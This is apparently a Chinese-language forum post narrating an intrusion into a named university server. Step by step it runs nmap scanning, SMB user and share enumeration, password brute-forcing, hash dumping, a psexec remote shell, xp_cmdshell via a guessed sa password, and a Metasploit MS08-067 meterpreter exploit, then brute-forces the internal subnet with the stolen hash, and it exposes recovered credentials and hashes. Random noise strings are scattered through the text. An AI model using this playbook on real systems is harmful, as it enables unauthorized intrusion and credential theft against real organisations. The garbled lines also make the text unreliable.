nmap+msf入侵广西师范

admin

广西师范网站http://202.103.242.241/
3 @0 I) b+ I8 F0 w
8 R& l' C# q5 K( S* Zroot@bt:~# nmap -sS -sV 202.103.242.241

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST
( C' k. @+ q" h: l* A
9 T. s# j- K% p& \. _" l- NNmap scan report for bogon (202.103.242.241)
1 [/ E6 }  @, i7 p. Q) _- H; u) p
Host is up (0.00048s latency).
/ L& k3 S' `) P* ]2 Y7 \8 X- v; o; g
9 `; }8 q$ S' jNot shown: 993 closed ports

PORT     STATE SERVICE       VERSION

135/tcp  open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)

139/tcp  open  netbios-ssn
9 C7 X  C) H1 U% ?) ]: ?
. c+ a% B+ B+ l' `% ~445/tcp  open  microsoft-ds  Microsoft Windows 2000 microsoft-ds

& `  L: ^* P/ m' o6 C& x0 V1025/tcp open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)

1026/tcp open  msrpc         Microsoft Windows RPC

3372/tcp open  msdtc?
% s+ ?$ L) l0 c7 c- ~* i: Z
2 m- {# k6 s) }% e; E! t3389/tcp open  ms-term-serv?
3 C/ ^: |5 m; x. V1 K- n
, N9 p! c* N, h4 @2 d; \1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
! k9 r' [: J. R; y# k% WSF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r

) N- F. t5 k6 f3 CSFGetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions

: |) u; v+ F+ g1 ISF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
- T$ D7 ^/ l: d! V
, ~' x: w& D4 o' \: d) jSF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO

: `+ u4 h% Z! T& N( G! rSF:ptions,6,”hO\n\x000Z”);

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
3 v; s* T& r$ U! C0 N
) q; d& ?5 N8 Z2 G/ X% I) RService Info: OS: Windows

5 L$ w  ~* D5 v3 W0 \. HService detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds

root@bt:/usr/local/share/nmap/scripts# ls -la | grep smb  //列出扫描脚本

-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
' t. _) m4 W4 A+ j
-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse

-rw-r–r– 1 root root  4806 2011-07-09 07:36 smb-enum-domains.nse
7 c- A% j# U+ u5 j, ?- O4 g
9 l9 B& |$ E/ o9 o; E) t-rw-r–r– 1 root root  3475 2011-07-09 07:36 smb-enum-groups.nse

& H4 T8 N5 ^  S" u" j1 [-rw-r–r– 1 root root  7958 2011-07-09 07:36 smb-enum-processes.nse
8 ^' Y. F$ A! L6 q, j( E
-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse
) i" E4 v& Y9 @/ K8 I( d7 ^
1 k3 _. D% A9 J9 |) ]+ `; z, C-rw-r–r– 1 root root  6014 2011-07-09 07:36 smb-enum-shares.nse

-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse

-rw-r–r– 1 root root  1658 2011-07-09 07:36 smb-flood.nse
  h4 B+ z+ z" [3 N) G) ^
-rw-r–r– 1 root root  2906 2011-07-09 07:36 smb-os-discovery.nse

-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
& j6 p' Z+ e- M, p3 x
: m  w& n) c" p-rw-r–r– 1 root root  4362 2011-07-09 07:36 smb-security-mode.nse

' z9 G; y* S. b. H8 Z6 `2 x. q-rw-r–r– 1 root root  2311 2011-07-09 07:36 smb-server-stats.nse

-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse

-rw-r–r– 1 root root  1429 2011-07-09 07:36 smbv2-enabled.nse
( B+ f3 {( C7 |* Y5 c9 V
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241   

//此乃使用脚本扫描远程机器所存在的账户名
! Y% A$ }/ A+ A! a5 M* ?0 O
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
5 q- T  l2 J. f" W1 s' t
1 m% T4 {6 K( B1 s& [# p3 bNmap scan report for bogon (202.103.242.241)
' Q5 L! j6 F- W% k5 A- V) n* l5 ~
Host is up (0.00038s latency).
9 v( B! e& |" a/ a: V% ?
# T  D0 K' J/ p: ~0 e7 CNot shown: 993 closed ports
' Q9 v- Z( {7 d8 p8 }
9 v6 v0 `) K3 N7 b* a% i% t" QPORT     STATE SERVICE

, k1 {7 l+ x0 I+ }; p135/tcp  open  msrpc
3 X* ?2 s+ s- j' X( m0 v: c
: r' r8 a0 E# L! ]- f7 l139/tcp  open  netbios-ssn
: ^. v9 ?  t$ ]. p
445/tcp  open  microsoft-ds

1025/tcp open  NFS-or-IIS

1026/tcp open  LSA-or-nterm
; A" _- N3 u: a+ b
3372/tcp open  msdtc

3389/tcp open  ms-term-serv

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
( }7 O; r6 |9 `. a# X5 }
7 ^* P7 h7 G7 T; n+ HHost script results:
6 f& h' I5 k! P  e
| smb-enum-users:
2 h2 C7 ?% h6 w2 X4 p, p+ N
|_  Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果

Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds
+ j) ^  r+ h7 U" i: f( r: S$ X
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241

//查看共享

6 }" I1 K/ ]: ~9 b3 l5 qStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST
* Y; F: A6 q' W. a
1 \, [; r7 x1 q/ L; A1 f. gNmap scan report for bogon (202.103.242.241)
* x" W" V9 x# I" A/ i
# j' t1 R# ]/ I% B; OHost is up (0.00035s latency).
8 x2 `" B, f& p% |$ f. Y) o
Not shown: 993 closed ports

- l' i! y: j* UPORT     STATE SERVICE
# o& N/ [( F3 B/ C( C
135/tcp  open  msrpc
" Z6 x: V3 V- S
8 Z1 g8 @1 A, @9 H7 V' u139/tcp  open  netbios-ssn
5 C+ s; n. [6 ~: F5 X+ k2 @) z
445/tcp  open  microsoft-ds
$ m2 ?' O$ x2 [
1025/tcp open  NFS-or-IIS

9 ]9 r( a. h8 B# A2 e- |- G1026/tcp open  LSA-or-nterm
" `7 [* N" \; W/ z5 R6 ]7 x4 _. G$ y
& j  J) x$ D8 y3372/tcp open  msdtc
, }$ _% ]* v5 V
3389/tcp open  ms-term-serv
- S7 ~$ a, @6 i
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
! A" e- o) d9 p% p: v5 E8 T
Host script results:

| smb-enum-shares:

|   ADMIN$

7 b) i$ }# x  Q4 O& Z& i2 \|     Anonymous access: <none>
) g% V9 |2 ?4 B3 ~9 A7 C
|   C$

( \; H; W$ L7 R* ~. C|     Anonymous access: <none>
3 e* }6 \/ T. p4 y1 V7 W
|   IPC$

|_    Anonymous access: READ
' P  w, G& ~" s" g. y
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds
! x! L  b. g/ R3 S  b# l
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241      
: ]  T2 R" y; Q& w) E
: o7 N* |* C4 F( k7 N/ v//获取用户密码
, c# l/ @4 ~0 G9 ^  A
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST

2 N+ N" i3 S* h4 K. `$ ?Nmap scan report for bogon (202.103.242.2418)

' W* P. ]* G, f2 S0 mHost is up (0.00041s latency).
* W; d* u; T* I
# d2 [4 J2 S7 b( uNot shown: 993 closed ports
, m' t( m" x% i$ I3 i3 r6 d
" ?+ s5 H' k2 K3 n* Y: iPORT     STATE SERVICE

( A$ p3 }3 B6 K( \/ o135/tcp  open  msrpc

* V2 L1 T' k( J1 p) ]% d) M& |) N139/tcp  open  netbios-ssn
9 x  d( b) D" Z" ^" f
445/tcp  open  microsoft-ds
" ^$ e& ]5 @* q# A/ _: t, v2 D
* z1 Y0 Q5 d6 ~8 k3 U5 Y1025/tcp open  NFS-or-IIS
0 ^3 K; w- I. J/ p* @  k- S3 `
1026/tcp open  LSA-or-nterm
0 d4 N  B, V5 R6 {+ U  @+ G, b& k
3372/tcp open  msdtc

+ ]: R  ~- o8 a) E3389/tcp open  ms-term-serv

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

" T3 }- k4 O$ t; v; K% j1 WHost script results:
/ M6 Q1 s9 v, k# J
& }9 [: y4 Q+ O# E| smb-brute:
5 G, A9 G& n5 t0 u8 }
administrator:<blank> => Login was successful

3 _9 e7 J' F- L/ I) [1 j|_  test:123456 => Login was successful

2 E7 Y+ N7 Z' O+ y; P$ yNmap done: 1 IP address (1 host up) scanned in 28.22 seconds

& @* w3 U& s( ~3 }! \3 ]# Iroot@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash

! R* I& h8 X+ z5 u/ Broot@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data

root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse

root@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139
8 f+ r% h* F4 W" L0 ?0 `) P
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST

Nmap scan report for bogon (202.103.242.241)

' `/ S6 T* F9 B" eHost is up (0.0012s latency).

PORT    STATE SERVICE
* M, ]+ }* ~( w. H
135/tcp open  msrpc

139/tcp open  netbios-ssn

, l, k# l% J% @! N+ \: F, l, e4 f445/tcp open  microsoft-ds

# s9 T  c2 @* ]/ c* v/ }MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
" T; N. \1 j6 h
Host script results:

$ J; i1 `8 R0 t| smb-pwdump:
* U! I: q3 p9 N3 W2 s
( j3 B  L, a) m( ^! ]5 P" u; M2 \| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************

| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************
- T& K  n& h, E5 {% L; k) b
0 r- u* X0 q3 m6 |9 {| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4

|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
+ t- j! X% v1 H. D/ y7 b3 h
9 w8 N7 l+ l: `! n, iNmap done: 1 IP address (1 host up) scanned in 1.85 seconds
8 U0 |* G- ?. @9 F; \
  T3 V. P  R, O) C" V3 c) hC:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241  -u test             //获取一个cmdshell

( q7 J% p6 Z9 `; g5 S6 @7 z-p 123456 -e cmd.exe

PsExec v1.55 – Execute processes remotely
5 d1 E' L) q% h1 ^' [
! d) V4 v' l9 p5 d, s* n8 W' |: KCopyright (C) 2001-2004 Mark Russinovich
( Y0 x! H  `2 X. L! r7 D# \" ]
: _2 j7 M4 {8 k" A6 \Sysinternals – www.sysinternals.com
* X6 Y3 l# d0 U" D  [, `
Microsoft Windows 2000 [Version 5.00.2195]
! P2 c" n7 l  R
0 L& O) ?. }9 [1 W/ v& [(C) 版权所有 1985-2000 Microsoft Corp.
" G* I. ^1 I: ]# I
8 K5 G/ T7 n, Q9 uC:\WINNT\system32>ipconfig
* d/ w+ Y% t+ @8 J# s
: C1 \% c2 ?- m: F% z: {$ mWindows 2000 IP Configuration

Ethernet adapter 本地连接:

Connection-specific DNS Suffix  . :

! h% v* x$ U  W: j) K6 w/ FIP Address. . . . . . . . . . . . : 202.103.242.241

Subnet Mask . . . . . . . . . . . : 255.255.255.0

. \, T4 C, z  N+ aDefault Gateway . . . . . . . . . : 202.103.1.1

C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “   //远程登录sa执行命令

, l6 \) t+ S7 i- n; _, l6 W5 A; `7 A  Nroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241     //检测目标机器漏洞
$ b- `4 f& d/ B8 b
% ?# s7 P5 d# B  IStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
' j+ ]7 o6 O  C; X# q. Q4 _
0 X/ R9 D2 U) @7 o% a; JNmap scan report for bogon (202.103.242.241)
4 }; u4 ^; H. m. L! n; Y1 O
Host is up (0.00046s latency).

1 ^5 H" P& L- j. n" Y# A: g! p0 qNot shown: 993 closed ports

" J4 E# s& y- XPORT     STATE SERVICE

135/tcp  open  msrpc

+ F+ [* v6 J1 T+ h. J' x: v8 Y139/tcp  open  netbios-ssn

445/tcp  open  microsoft-ds

1025/tcp open  NFS-or-IIS

1026/tcp open  LSA-or-nterm

& t3 B6 C9 k8 R5 J5 e  s4 Y3372/tcp open  msdtc

3389/tcp open  ms-term-serv

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

Host script results:
$ T1 j' z8 s  [. C
% G* |2 R: a* Z" W" I| smb-check-vulns:

|_  MS08-067: VULNERABLE

9 {* f" W% c3 M4 F8 x4 E! a( U1 c- `Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
5 {3 A; @* ^" ~) i3 q
; [/ x- v: a% S7 d( M* proot@bt:~# msfconsole                                             //在msf上利用ms08-067漏洞对目标机器进行溢出
# s% `. z: Q( m; f
msf > search ms08

msf > use exploit/windows/smb/ms08_067_netapi
9 z( T1 h: V* ^8 w& H
msf  exploit(ms08_067_netapi) > show options

5 \, l. @* ~8 dmsf  exploit(ms08_067_netapi) > set RHOST 202.103.242.241
2 Z3 D( U  p7 O0 C7 A7 S% S) q
. H6 f( w% O& }/ C9 T4 Imsf  exploit(ms08_067_netapi) > show payloads

msf  exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp

msf  exploit(ms08_067_netapi) > exploit
# `+ B3 o7 M4 ?6 t# I2 Z) J
meterpreter >

! ]  G/ h. k7 ?9 @# o# K! ~" [% X( nBackground session 2? [y/N]  (ctrl+z)
. Q' H' U6 Q3 v5 C+ p# L/ C
msf  exploit(ms08_067_netapi) > sessions -l

8 N! Z& q9 z3 Eroot@bt:/usr/local/share/nmap/scripts# vim usernames.txt
# @2 F6 W, T6 c7 O+ E' g
0 L% D6 R' l3 t. O. k" ^" ?3 Ttest
4 }: y" l$ A' W% s
administrator
7 p* @1 A% x& Q: d0 z! F
root@bt:/usr/local/share/nmap/scripts# vim password.txt
) a0 J* g5 ?3 i- @. m# D
44EFCE164AB921CAAAD3B435B51404EE

root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
  s4 B" O+ e  c" u: [2 }( s3 l
//利用用户名跟获取的hash尝试对整段内网进行登录

Nmap scan report for 192.168.1.105
) L1 w- t) X; i9 ~( ]
Host is up (0.00088s latency).
- F5 Z2 c+ i, g/ C/ Y4 @
1 d; {+ f! [% g/ a- l* u; a3 YNot shown: 993 closed ports

PORT     STATE SERVICE
! S, w0 e5 D- q" p- s4 C0 f6 \
135/tcp  open  msrpc

5 V: c4 |3 q( J: A* u! A1 D139/tcp  open  netbios-ssn

445/tcp  open  microsoft-ds
9 o6 S, c" z5 G% q
1025/tcp open  NFS-or-IIS
# x3 ^- h2 m$ t! L+ [2 i
4 E# v& e+ x0 ?' Y# a: t+ \1026/tcp open  LSA-or-nterm

6 _2 g5 r% e. A; a6 t! |3372/tcp open  msdtc

3389/tcp open  ms-term-serv

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

2 }; `% r3 H- v" n/ EHost script results:

| smb-brute:
$ T+ d2 v; v9 ~8 [. f' r
|_  administrator:<blank> => Login was successful

* z# b2 L7 i/ }/ S; v( @攻击成功，一个简单的msf+nmap攻击~~·